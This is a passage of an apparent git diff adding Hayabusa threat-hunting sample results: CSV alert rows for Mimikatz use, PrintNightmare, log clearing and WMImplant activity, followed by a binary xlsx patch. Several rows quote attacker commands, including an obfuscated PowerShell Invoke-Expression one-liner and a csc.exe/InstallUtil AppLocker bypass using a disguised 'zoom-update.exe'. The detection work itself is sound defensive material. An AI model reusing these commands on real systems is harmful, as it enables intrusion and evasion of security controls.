Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID354-808-Mimispool printer installation (PrintNightmare).evtx +2021-10-27 19:28:26.307 +09:00,FS03.offsec.lan,823,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/ID354-808-Mimispool printer installation (PrintNightmare).evtx +2021-10-27 19:34:49.837 +09:00,FS03.offsec.lan,6416,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,6416 New external device connected (PrintNightmare).evtx" +2021-10-27 19:34:50.024 +09:00,FS03.offsec.lan,4674,critical,Mimikatz Use,,rules/sigma/builtin/win_alert_mimikatz_keywords.yml,"../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/EVTX_full_APT_attack_steps/ID4674,6416 New external device connected (PrintNightmare).evtx" +2021-10-28 22:41:21.325 +09:00,FS03.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: ""cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\System32\spoolsv.exe",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/1-Print spool spawned a CMD shell (PrintNightMare).evtx +2021-10-28 22:41:21.325 +09:00,FS03.offsec.lan,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0004-Privilege Escalation/T1574-DLL side-loading/1-Print spool spawned a CMD shell (PrintNightMare).evtx +2021-11-02 23:15:23.676 +09:00,fs03vuln.offsec.lan,1102,high,Security log was cleared,User: admmig,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0005-Defense Evasion/T1140-Deobfuscate-Decode Files or Information/ID4688-Certutil download.evtx +2021-11-09 00:01:27.604 +09:00,fs03vuln.offsec.lan,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1086,technique_name=PowerShell : Command: powershell $env:I4Pzl|.(Get-C`ommand ('{1}e{0}'-f'x','i')) : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: OFFSEC\admmig : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMI spwaning PowerShell process - WMImplant.evtx +2021-11-09 00:01:27.604 +09:00,fs03vuln.offsec.lan,1,high,Wmiprvse Spawning Process,,rules/sigma/process_creation/win_wmiprvse_spawning_process.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMI spwaning PowerShell process - WMImplant.evtx +2021-11-09 00:01:27.604 +09:00,fs03vuln.offsec.lan,1,high,Suspicious PowerShell Parent Process,,rules/sigma/process_creation/win_susp_powershell_parent_process.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMI spwaning PowerShell process - WMImplant.evtx +2021-11-09 00:01:27.604 +09:00,fs03vuln.offsec.lan,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMI spwaning PowerShell process - WMImplant.evtx +2021-11-09 00:01:27.604 +09:00,fs03vuln.offsec.lan,1,high,WMI Spawning Windows PowerShell,,rules/sigma/process_creation/win_wmi_spwns_powershell.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID1-WMI spwaning PowerShell process - WMImplant.evtx +2021-11-18 16:40:29.566 +09:00,PC-01.cybercat.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1059,technique_name=Command-Line Interface : Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /nologo /target:exe /out:zoom-update.exe C:\Users\pc1-user\Desktop\zoom-update.cs : Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe : User: CYBERCAT\pc1-user : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/YamatoSecurity/T1027.004_Obfuscated Files or Information Compile After Delivery/sysmon.evtx +2021-11-18 16:42:54.822 +09:00,PC-01.cybercat.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1218.004,technique_name=InstallUtil : Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Users\pc1-user\Desktop\zoom-update.exe : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe : User: CYBERCAT\pc1-user : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/YamatoSecurity/T1218.004_Signed Binary Proxy Execution InstallUtil/sysmon.evtx +2021-11-18 16:42:54.822 +09:00,PC-01.cybercat.local,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/YamatoSecurity/T1218.004_Signed Binary Proxy Execution InstallUtil/sysmon.evtx diff --git a/sample-results/hayabusa-sample-evtx-ResultsDefaultSettings.xlsx b/sample-results/hayabusa-sample-evtx-ResultsDefaultSettings.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..0b2d2443afc96f21071580150345c2f41c87578f GIT binary patch literal 583620 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 